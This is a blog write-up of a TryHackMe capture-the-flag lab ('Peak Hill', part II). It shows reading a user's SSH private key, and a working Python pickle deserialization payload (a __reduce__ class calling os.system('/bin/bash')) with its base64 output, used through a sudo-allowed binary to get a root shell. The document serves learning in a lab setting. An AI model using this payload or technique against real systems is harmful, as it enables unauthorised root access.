TryHackMe Writeup: Peak Hill – Part II

TryHackMe Writeup: Peak Hill – Part II

This post is a continuation of “TryHackMe Writeup: Peak Hill – Part I” where we found the first of two flags in this “pickle” (the Python module) themed CTF. The CTF is introduced in a bit more detail in Part I as well. In this part, we continue to find the root flag by ‘pickling’ our own malicious Python object. When going through this challenge, I paused after finding the user flag to learn a bit more about Linux privilege escalation techniques. I have been a linux user for a long time now, so I was surprised to see that there are so many ways to escalate privileges besides the ‘sudo’ command, or becoming root directly with ‘su’. I used the TryHackMe ‘Linux PrivEsc’ room which goes through a few different methods with a practical exercise for each.

My Solution (continued)

We left off with trying to escalate our privileges to get to the root flag, but we were also using a minimal terminal through the hidden “cmd_service” server which is running on the target. We are logged in to that server as the user ‘dill’, which also owns the ‘user’ flag (found in Part I). Next, I checked if ‘dill’ could become root without a password using,

cmd: sudo whoami

which gave no response. We can directly check to see what ‘dill’ can run as root via ‘sudo’ as well.

Cmd: sudo -l
Matching Defaults entries for dill on ubuntu-xenial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dill may run the following commands on ubuntu-xenial:
    (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm

This reveals a strange executable that we can run as root ‘/opt/peak_hill_farm/peak_hill_farm’, but when we try to run it, there is no output. This is a good time to try to get a better shell so that we can troubleshoot what is going on. In part I, we saw that ‘/home/dill/’ contains a ‘.ssh’ folder, that we have read access to as ‘gherkin’. At that time, I also checked to see if ‘dill’ had an ssh key there:

gherkin@ubuntu-xenial:/home/dill/.ssh$ ls -al
total 20
drwxr-xr-x 2 dill dill 4096 May 15  2020 .
drwxr-xr-x 5 dill dill 4096 May 20  2020 ..
-rw-r--r-- 1 dill dill  568 May 15  2020 authorized_keys
-rw------- 1 dill dill 2590 May 15  2020 id_rsa
-rw-r--r-- 1 dill dill  568 May 15  2020 id_rsa.pub

There is a private/public key pair with the default name ‘id_rsa’, but, previously, we could not have read the key since we were logged in as ‘gherkin’. In the simple ‘cmd_service’ terminal we can check that ‘id_rsa’ is actually in the ‘authorized_keys’ file:

Cmd: cat /home/dill/.ssh/authorized_keys   
ssh-rsa AAAAB3NzaC1yc2EAAAADA<  the rest of the public key  >rQM3PKi4lczD2xZwk= dill@peak_hill

Thankfully, ‘id_rsa’ is inside the ‘authorized_keys’ file, so we can use it to log in as ‘dill’ via ssh. We can get the private key now using ‘cat’:

Cmd: cat /home/dill/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3Blb<

the rest of the key goes here

>HMxNQE=
-----END OPENSSH PRIVATE KEY-----

Next, we can copy and paste the private key to our computer and into an identify file ‘target_id_rsa’ and give it the correct permissions for use with ssh (needs to have at least read and write for ‘owner’, and no read, write, or execute for ‘group’ or ‘other’).

$ chmod 600 target_id_rsa

Now, we can ssh directly into the target (I’m using the variable ‘TIP’ for the target’s IP address):

$ ssh -i target_id_rsa dill@$TIP
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


28 packages can be updated.
19 updates are security updates.

Last login: Wed May 20 21:56:05 2020 from <an ip>

Now, we have a full shell. This will make it much easier to understand what is going on with `/opt/peak_hill_farm/peak_hill_farm`. Let’s go ahead any try to run it with `sudo`.

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo /opt/peak_hill_farm/peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: notreallysure
failed to decode base64
dill@ubuntu-xenial:/opt/peak_hill_farm$ 

we were asked for something ‘to grow:’, and we can just put in some string to see what happens. I used ‘notreallysure’, but there is an error message “failed to decode base64”. Apparently, we need to based64 encode whatever we want ‘to grow’. We can base64 encode our test string, ‘notreallysure’, using the ‘base64’ command:

$ echo notreallysure | base64
bm90cmVhbGx5c3VyZQo=

And give it to ‘peak_hill_farm’.

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo /opt/peak_hill_farm/peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: bm90cmVhbGx5c3VyZQo=
this not grow did not grow on the Peak Hill Farm! :(

Okay, so the base64 error message is gone, but apparently this still isn’t what ‘peak_hill_farm’ wants to grow. After trying a few more strings, even pickle themed ones like ‘cucumber’, and ‘pickle’, It seems like we have the wrong idea here.

Continuing with the theme of the Python pickle module, and remembering that we are running peak_hill_farm as root via the sudo command, we can try to make an escape sequence to break out of peak_hill_farm and get a root terminal by giving it a pickled shell. I had a lot of fun with this part 🙂 . It took me some time, reading, and playing around to get the next bit to work.

First, we need to pickle a Python object that will give us a shell. The ‘os’ and ‘subprocess’ Python modules are both capable of producing a minimal shell, but we’re using the ‘os’ module in this example. Here is a script that makes a pickle payload for gaining a root shell which I called ‘pickle_term.py’.

#!/usr/bin/python3                                                                          
import pickle
import base64

import os

class pickle_term_sys:
    def __reduce__(self):
        for_fun = "echo export PS1=\"[pIcKlE-tRrM]:#\" >> ~/.bashrc;"
        shell_cmd = "/bin/bash"
        return os.system, (for_fun+shell_cmd,)

if __name__=='__main__':
    print("Using os.system: ")
    pterm = pickle.dumps(pickle_term_sys())
    print("pickle: ", pterm)
    print("base64 pickle: ", base64.b64encode(pterm))

The os module is used to run commands on the system. In this case, we run `/bin/bash` so that we can start a terminal session. For fun, I also played around with the terminal banner with the PS1 environment variable. This is not the best idea in a pentesting engagement though, because it isn’t necessary and makes changes on the target system. To write a pickled exploit like this, we need to define the ‘__reduce__’ function in our own custom Python class. ‘__reduce__’ will be called whenever our class, ‘pickle_term_sys’, is unpickled. So, in theory, we can run anything we want here. An important caveat is that pickle files are designed for storing a Python class instance and the actual data stored inside of it. Any references to functions are stored as strings, and interpreted when the file is unpickled. This also assumes that the script that unpickles the file has the correct modules loaded. This can dictate, for example, whether you use the ‘os’ module or the ‘subprocess’ module. There are also some pretty specific conditions for using ‘__reduce__’ which you can read about in the official documentation.

Now, we can run our script to make a pickled payload. We went ahead and had the Python script base64 encode the pickle as well.

$ python3 pickle_term.py 
Using os.system:
pickle:  b'\x80\x04\x95S\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c8echo export PS1="[pIcKlE-tRrM]:#" >> ~/.bashrc;/bin/bash\x94\x85\x94R\x94.'
base64 pickle: b'gASVUwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDhlY2hvIGV4cG9ydCBQUzE9IltwSWNLbEUtdFJyTV06IyIgPj4gfi8uYmFzaHJjOy9iaW4vYmFzaJSFlFKULg=='

Now, we copy and paste the ‘base64 pickle’ into the ‘to grow:’ input of ‘peak_hill_farm’ and see if we get a root shell.

dill@ubuntu-xenial:~$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gASVUwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDhlY2hvIGV4cG9ydCBQUzE9IltwSWNLbEUtdFJyTV06IyIgPj4gfi8uYmFzaHJjOy9iaW4vYmFzaJSFlFKULg==
[pIcKlE-tRrM]:#whoami
root

And it works! Next, we need to find the root flag. In this case, the flag is in ‘/root/’ and we can read it using cat.

[pIcKlE-tRrM]:#ls /root/
 root.txt 
[pIcKlE-tRrM]:#cat /root/ root.txt 
e88< the root flag here >ee28
[pIcKlE-tRrM]:#exit

And we’re done!

Post-CTF Analysis

This one was a lot of fun, and a great opportunity to learn some privilege escalation techniques as well as some exploit/payload writing. I write a lot of Python code for my job, but I was able to explore some aspects of Python that I don’t usually get to interact with like encoding/decoding, and the pickle library. There are many other writeups for this ctf which are linked from the TryHackMe Peak Hill room. Here are some lessons learned from doing this challenge:

  • I had to pause in the middle of this one to learn some more privilege escalation techniques. There’s no shame in pausing one of these challenges to learn/practice something you need to finish it.
  • Take your time when dealing with encoding/decoding data. This isn’t obvious from the writeup, but It took some playing around with the encoding/decoding details to get my scripts to work. There’s always cyberChef if needed.
  • Have fun with it. We usually learn more when we follow our curiosity.

As always, if you solved this differently, I would love to hear about it. Please connect on LinkedIn, and share your thoughts.